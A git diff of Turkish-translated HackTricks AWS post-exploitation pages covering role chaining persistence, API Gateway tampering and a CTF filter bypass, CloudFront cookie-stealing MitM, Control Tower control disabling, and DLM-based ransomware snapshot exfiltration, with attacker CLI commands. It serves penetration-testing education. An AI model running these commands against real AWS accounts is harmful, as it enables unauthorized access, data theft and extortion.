-### Rol Zinciri Oynama +### Role Chain Juggling -[**Rol zincirleme, kabul edilen bir AWS özelliğidir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle gizli sürekliliği sağlamak için kullanılır. Bu, **bir rolü üstlenme ve ardından başka bir rolü üstlenme** yeteneğini içerir ve potansiyel olarak başlangıç rolüne **döngüsel bir şekilde** geri dönebilir. Her seferinde bir rol üstlenildiğinde, kimlik bilgileri süresinin sona erme alanı yenilenir. Sonuç olarak, iki rol karşılıklı olarak birbirini üstlenmek üzere yapılandırıldığında, bu yapılandırma kimlik bilgilerini sürekli olarak yenileme imkanı sağlar. +[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle stealth persistence'ı sürdürmek için kullanılır. Bu, **assume a role which then assumes another** yeteneğini içerir ve potansiyel olarak başlangıç rolüne **cyclical manner** içinde geri dönebilir. Her rol assume edildiğinde, kimlik bilgilerine ait expiration alanı yenilenir. Sonuç olarak, eğer iki rol birbirlerini karşılıklı olarak assume edecek şekilde yapılandırılırsa, bu yapı credentials'ın sürekli yenilenmesine imkan verir. -Rol zincirini sürdürmek için bu [**aracı**](https://github.com/hotnops/AWSRoleJuggler/) kullanabilirsiniz: +Role chaining'i sürdürmek için bu [**tool**](https://github.com/hotnops/AWSRoleJuggler/) kullanılabilir: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] @@ -44,7 +44,7 @@ optional arguments:
-PowerShell'den Rol Juggling yapmak için Kod +PowerShell üzerinden Role Juggling gerçekleştirmek için kod ```bash # PowerShell script to check for role juggling possibilities using AWS CLI @@ -124,4 +124,4 @@ Write-Host "Role juggling check complete." ```
-{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md deleted file mode 100644 index 6d795f208..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ /dev/null @@ -1,132 +0,0 @@ -# AWS - API Gateway Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Açık Olmayan API'lere Erişim - -[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) adresinde `com.amazonaws.us-east-1.execute-api` servisi ile bir uç nokta oluşturabilirsiniz, bu uç noktanın erişiminizin olduğu bir ağda (potansiyel olarak bir EC2 makinesi aracılığıyla) açığa çıkarın ve tüm bağlantılara izin veren bir güvenlik grubu atayın.\ -Daha sonra, EC2 makinesinden uç noktaya erişebilecek ve daha önce açığa çıkarılmamış olan gateway API'yi çağırabileceksiniz. - -### İstek Gövdesi Geçişini Atlatma - -Bu teknik [**bu CTF yazısında**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) bulundu. - -[**AWS belgelerinde**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) `PassthroughBehavior` bölümünde belirtildiği gibi, varsayılan olarak, **`WHEN_NO_MATCH`** değeri, isteğin **Content-Type** başlığını kontrol ederken, isteği herhangi bir dönüşüm olmadan arka uca iletecektir. - -Bu nedenle, CTF'de API Gateway, `Content-Type: application/json` ile bir istek gönderildiğinde **bayrağın dışarı sızmasını engelleyen** bir entegrasyon şablonuna sahipti: -```yaml -RequestTemplates: -application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' -``` -Ancak, **`Content-type: text/json`** ile bir istek göndermek bu filtreyi engelleyecektir. - -Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiğinden, gövdeye sorguyu koyarak ve `X-HTTP-Method-Override: GET` başlığını kullanarak sınırsız bir dinamik DynamoDB sorgusu göndermek mümkündü: -```bash -curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' -``` -### Kullanım Planları DoS - -**Enumeration** bölümünde anahtarların **kullanım planını nasıl elde edeceğinizi** görebilirsiniz. Eğer anahtarınız varsa ve bu anahtar **aylık X kullanım ile sınırlıysa**, **onu kullanarak bir DoS oluşturabilirsiniz**. - -**API Anahtarı** sadece **`x-api-key`** adlı bir **HTTP başlığı** içine **eklenmelidir**. - -### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` - -`apigateway:UpdateGatewayResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **özel başlıklar veya hassas bilgileri sızdıran ya da kötü niyetli betikleri çalıştıran yanıt şablonları içerecek şekilde mevcut bir Gateway Yanıtını değiştirebilir**. -```bash -API_ID="your-api-id" -RESPONSE_TYPE="DEFAULT_4XX" - -# Update the Gateway Response -aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Potansiyel Etki**: Hassas bilgilerin sızdırılması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim. - -> [!NOTE] -> Test edilmesi gerekiyor - -### `apigateway:UpdateStage`, `apigateway:CreateDeployment` - -`apigateway:UpdateStage` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **mevcut bir API Gateway aşamasını trafiği farklı bir aşamaya yönlendirecek şekilde değiştirebilir veya önbellek ayarlarını değiştirerek önbelleğe alınmış verilere yetkisiz erişim elde edebilir**. -```bash -API_ID="your-api-id" -STAGE_NAME="Prod" - -# Update the API Gateway stage -aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya engelleme. - -> [!NOTE] -> Test edilmesi gerekiyor - -### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` - -`apigateway:PutMethodResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **mevcut bir API Gateway REST API yönteminin yöntem yanıtını, hassas bilgileri sızdıran veya kötü niyetli betikleri çalıştıran özel başlıklar veya yanıt şablonları içerecek şekilde değiştirebilir**. -```bash -API_ID="your-api-id" -RESOURCE_ID="your-resource-id" -HTTP_METHOD="GET" -STATUS_CODE="200" - -# Update the method response -aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Potansiyel Etki**: Hassas bilgilerin sızdırılması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim. - -> [!NOTE] -> Test edilmesi gerekiyor - -### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` - -`apigateway:UpdateRestApi` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **API Gateway REST API ayarlarını güncelleyerek günlüklemeyi devre dışı bırakabilir veya minimum TLS sürümünü değiştirebilir, bu da API'nin güvenliğini zayıflatabilir**. -```bash -API_ID="your-api-id" - -# Update the REST API settings -aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER' - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Potansiyel Etki**: API'nin güvenliğini zayıflatma, yetkisiz erişime veya hassas bilgilerin ifşasına neden olma. - -> [!NOTE] -> Test edilmesi gerekiyor - -### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` - -`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` ve `apigateway:CreateUsagePlanKey` izinlerine sahip bir saldırgan **yeni API anahtarları oluşturabilir, bunları kullanım planlarıyla ilişkilendirebilir ve ardından bu anahtarları API'lere yetkisiz erişim için kullanabilir**. -```bash -# Create a new API key -API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') - -# Create a new usage plan -USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id') - -# Associate the API key with the usage plan -aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY -``` -**Potansiyel Etki**: API kaynaklarına yetkisiz erişim, güvenlik kontrollerinin atlatılması. - -> [!NOT] -> Test edilmesi gerekiyor - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md new file mode 100644 index 000000000..07155445b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md @@ -0,0 +1,132 @@ +# AWS - API Gateway Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Dışa açılmamış API'lere erişim + +You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ +Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before. + +### İstek gövdesi passthrough'unu atlatma + +This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). + +As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. + +Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: +```yaml +RequestTemplates: +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +``` +Ancak, **`Content-type: text/json`** ile bir istek göndermek bu filtreyi atlatır. + +Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiği için, sorguyu gövdeye koyup `X-HTTP-Method-Override: GET` başlığını kullanarak bir POST isteği gönderip sınırlama olmaksızın bir dynamoDB sorgusu çalıştırmak mümkündü: +```bash +curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' +``` +### Kullanım Planları DoS + +**Enumeration** bölümünde anahtarların kullanım planını nasıl **elde edebileceğinizi** görebilirsiniz. Anahtara sahipseniz ve bu anahtar **sınırlandırılmış** olarak **ayda** X kullanım hakkına sahipse, onu **sadece kullanarak bir DoS oluşturabilirsiniz**. + +The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. + +### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` + +apigateway:UpdateGatewayResponse ve apigateway:CreateDeployment izinlerine sahip bir saldırgan, mevcut bir Gateway Response'u **özelleştirilmiş header'lar veya response template'leri ekleyecek şekilde değiştirebilir; bunlar hassas bilgileri leak edebilir veya kötü amaçlı script'leri çalıştırabilir**. +```bash +API_ID="your-api-id" +RESPONSE_TYPE="DEFAULT_4XX" + +# Update the Gateway Response +aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Olası Etki**: Leakage of sensitive information, kötü amaçlı betiklerin çalıştırılması veya API kaynaklarına izinsiz erişim. + +> [!NOTE] +> Test edilmesi gerekiyor + +### `apigateway:UpdateStage`, `apigateway:CreateDeployment` + +Bu izinlere (`apigateway:UpdateStage` ve `apigateway:CreateDeployment`) sahip bir saldırgan **mevcut bir API Gateway stage'ini değiştirerek trafiği farklı bir stage'e yönlendirebilir veya önbellek ayarlarını değiştirerek önbelleğe alınmış verilere izinsiz erişim sağlayabilir**. +```bash +API_ID="your-api-id" +STAGE_NAME="Prod" + +# Update the API Gateway stage +aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini aksatma veya ele geçirme. + +> [!NOTE] +> Test edilmesi gerekiyor + +### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` + +`apigateway:PutMethodResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, mevcut bir API Gateway REST API yönteminin method response'unu değiştirip custom headers veya response templates ekleyerek hassas bilgileri leak edebilir veya execute malicious scripts çalıştırabilir. +```bash +API_ID="your-api-id" +RESOURCE_ID="your-resource-id" +HTTP_METHOD="GET" +STATUS_CODE="200" + +# Update the method response +aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Olası Etki**: Hassas bilgilerin sızması, kötü amaçlı betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim. + +> [!NOTE] +> Test edilmesi gerekiyor + +### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` + +Bir saldırgan, `apigateway:UpdateRestApi` ve `apigateway:CreateDeployment` izinlerine sahipse **API Gateway REST API ayarlarını değiştirerek logging'i devre dışı bırakabilir veya minimum TLS sürümünü değiştirebilir; bu da API'nin güvenliğini zayıflatabilir**. +```bash +API_ID="your-api-id" + +# Update the REST API settings +aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER' + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Olası Etki**: API'nin güvenliğinin zayıflatılması, muhtemelen yetkisiz erişime izin verme veya hassas bilgilerin ifşa edilmesi. + +> [!NOTE] +> Test edilmesi gerekiyor + +### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` + +Bu izinlere sahip bir saldırgan **yeni API keys oluşturabilir, bunları usage plans ile ilişkilendirebilir ve ardından bu API keys'i API'lere yetkisiz erişim için kullanabilir**. +```bash +# Create a new API key +API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') + +# Create a new usage plan +USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id') + +# Associate the API key with the usage plan +aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY +``` +**Olası Etki**: API kaynaklarına yetkisiz erişim, güvenlik kontrollerinin atlatılması. + +> [!NOTE] +> Test edilmesi gerekiyor + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md deleted file mode 100644 index 106764738..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ /dev/null @@ -1,31 +0,0 @@ -# AWS - CloudFront Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFront - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-cloudfront-enum.md -{{#endref}} - -### Man-in-the-Middle - -Bu [**blog yazısı**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) bir **Lambda**'nın **CloudFront üzerinden iletişime** eklenebileceği (veya zaten kullanılıyorsa değiştirilebileceği) birkaç farklı senaryo önermektedir. Amaç, kullanıcı bilgilerini (örneğin oturum **çerezi**) **çalmaktır** ve **yanıtı** **değiştirmektir** (kötü niyetli bir JS scripti enjekte etmek). - -#### senaryo 1: CloudFront'un bir bucket'ın bazı HTML'lerine erişim sağlamak için yapılandırıldığı MitM - -- **Kötü niyetli** **fonksiyonu** **oluşturun**. -- Bunu CloudFront dağıtımıyla **ilişkilendirin**. -- **Olay türünü "Viewer Response"** olarak ayarlayın. - -Yanıta erişerek kullanıcıların çerezini çalabilir ve kötü niyetli bir JS enjekte edebilirsiniz. - -#### senaryo 2: CloudFront'un zaten bir lambda fonksiyonu kullandığı MitM - -- Hassas bilgileri çalmak için lambda fonksiyonunun **kodunu değiştirin**. - -Bu senaryoları yeniden oluşturmak için [**tf kodunu buradan kontrol edebilirsiniz**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md new file mode 100644 index 000000000..4343ef661 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -0,0 +1,31 @@ +# AWS - CloudFront Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-cloudfront-enum.md +{{#endref}} + +### Man-in-the-Middle + +This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) birkaç farklı senaryo öneriyor; bu senaryolarda bir **Lambda**, **CloudFront** üzerinden gerçekleşen bir iletişime eklenebilir (ya da zaten kullanılıyorsa değiştirilebilir) ve amaç kullanıcı bilgilerini (ör. oturum **cookie**'sini) **çalmak** ve **yanıt**ı **değiştirmek** (kötü amaçlı bir JS betiği enjekte etmek) olabilir. + +#### senaryo 1: MitM — CloudFront'un bir bucket içindeki bazı HTML'lere erişecek şekilde yapılandırıldığı durum + +- Kötü amaçlı **function** oluşturun. +- Bunu CloudFront dağıtımıyla **ilişkilendirin**. +- **Event type**'ı "Viewer Response" olarak ayarlayın. + +Yanıtı elde ederek kullanıcının oturum **cookie**'sini çalabilir ve kötü amaçlı bir JS enjekte edebilirsiniz. + +#### senaryo 2: MitM — CloudFront'un zaten bir Lambda function kullandığı durum + +- Lambda function'ın kodunu **değiştirerek** hassas bilgileri çalın. + +You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md index 6b7a5fe24..785bda533 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - Control Tower Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Control Tower {{#ref}} -../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} ### Kontrolleri Etkinleştir / Devre Dışı Bırak -Bir hesabı daha fazla istismar etmek için, Control Tower kontrollerini devre dışı bırakmanız/etkinleştirmeniz gerekebilir: +Bir hesabı daha fazla exploit etmek için Control Tower kontrollerini devre dışı bırakıp/etkinleştirmeniz gerekebilir: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md deleted file mode 100644 index bdc864e3c..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - DLM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Veri Yaşam Döngüsü Yöneticisi (DLM) - -### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` - -Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifreleyerek ve ardından mevcut EC2 örneklerini, EBS hacimlerini ve anlık görüntüleri silerek gerçekleştirilebilir. Bu kötü niyetli etkinliği otomatikleştirmek için, başka bir AWS hesabından bir KMS anahtarı ile anlık görüntüleri şifreleyerek ve şifrelenmiş anlık görüntüleri farklı bir hesaba aktararak Amazon DLM kullanılabilir. Alternatif olarak, şifreleme olmadan anlık görüntüleri yönettikleri bir hesaba aktarabilir ve ardından orada şifreleyebilirler. Mevcut EBS hacimlerini veya anlık görüntüleri doğrudan şifrelemek kolay olmasa da, yeni bir hacim veya anlık görüntü oluşturarak bunu yapmak mümkündür. - -Öncelikle, örnek ID'si, hacim ID'si, şifreleme durumu, ekleme durumu ve hacim türü gibi hacimlerle ilgili bilgileri toplamak için bir komut kullanılacaktır. - -`aws ec2 describe-volumes` - -İkincisi, yaşam döngüsü politikasını oluşturacaktır. Bu komut, belirli hacimlerin her gün belirli bir saatte otomatik olarak anlık görüntülerini alan bir yaşam döngüsü politikası kurmak için DLM API'sini kullanır. Ayrıca anlık görüntülere belirli etiketler uygular ve hacimlerden anlık görüntülere etiketleri kopyalar. policyDetails.json dosyası, hedef etiketler, program, şifreleme için isteğe bağlı KMS anahtarının ARN'si ve anlık görüntü paylaşımı için hedef hesap gibi yaşam döngüsü politikasının ayrıntılarını içerir; bu bilgiler kurbanın CloudTrail günlüklerinde kaydedilecektir. -```bash -aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json -``` -Politika belgesi için bir şablon burada görülebilir: -```bash -{ -"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", -"ResourceTypes": [ -"VOLUME" -], -"TargetTags": [ -{ -"Key": "ExampleKey", -"Value": "ExampleValue" -} -], -"Schedules": [ -{ -"Name": "DailySnapshots", -"CopyTags": true, -"TagsToAdd": [ -{ -"Key": "SnapshotCreator", -"Value": "DLM" -} -], -"VariableTags": [ -{ -"Key": "CostCenter", -"Value": "Finance" -} -], -"CreateRule": { -"Interval": 24, -"IntervalUnit": "HOURS", -"Times": [ -"03:00" -] -}, -"RetainRule": { -"Count": 14 -}, -"FastRestoreRule": { -"Count": 2, -"Interval": 12, -"IntervalUnit": "HOURS" -}, -"CrossRegionCopyRules": [ -{ -"TargetRegion": "us-west-2", -"Encrypted": true, -"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", -"CopyTags": true, -"RetainRule": { -"Interval": 1, -"IntervalUnit": "DAYS" -} -} -], -"ShareRules": [ -{ -"TargetAccounts": [ -"123456789012" -], -"UnshareInterval": 30, -"UnshareIntervalUnit": "DAYS" -} -] -} -], -"Parameters": { -"ExcludeBootVolume": false -} -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md new file mode 100644 index 000000000..fa4e5f24e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md @@ -0,0 +1,91 @@ +# AWS - DLM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Data Lifecycle Manger (DLM) + +### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` + +Bir ransomware saldırısı, mümkün olduğunca çok EBS volumes şifreleyip ardından mevcut EC2 instances, EBS volumes ve snapshots silinerek gerçekleştirilebilir. Bu kötü amaçlı faaliyeti otomatikleştirmek için Amazon DLM kullanılabilir; snapshots'ları başka bir AWS hesabına ait bir KMS key ile şifreleyip şifrelenmiş snapshots'ları farklı bir hesaba aktarabilirler. Alternatif olarak, snapshots'ları şifrelemeden kendi kontrol ettikleri bir hesaba aktarabilir ve orada şifreleyebilirler. Mevcut EBS volumes veya snapshots'ları doğrudan şifrelemek kolay olmasa da, yeni bir volume veya snapshot oluşturarak bunu yapmak mümkündür. + +İlk olarak, instance ID, volume ID, encryption status, attachment status ve volume type gibi bilgiler toplamak için aşağıdaki komut kullanılacaktır. + +`aws ec2 describe-volumes` + +İkinci olarak, lifecycle policy oluşturulacaktır. Bu komut, DLM API'sini kullanarak belirtilen volume'ların belirlenen bir saatte otomatik olarak günlük snapshot'larını alacak bir lifecycle policy ayarlar. Ayrıca snapshot'lara belirli tag'ler uygular ve volume'lardan snapshot'lara tag'leri kopyalar. policyDetails.json dosyası, hedef tag'ler, zamanlama, isteğe bağlı şifreleme için KMS key'in ARN'si ve snapshot paylaşımı için hedef hesap gibi lifecycle policy'nin ayrıntılarını içerir; bu işlemler kurbanın CloudTrail loglarına kaydedilecektir. +```bash +aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json +``` +Politika belgesinin bir şablonu burada görülebilir: +```bash +{ +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md similarity index 60% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index f8a2738f2..e9b0f6ac7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ 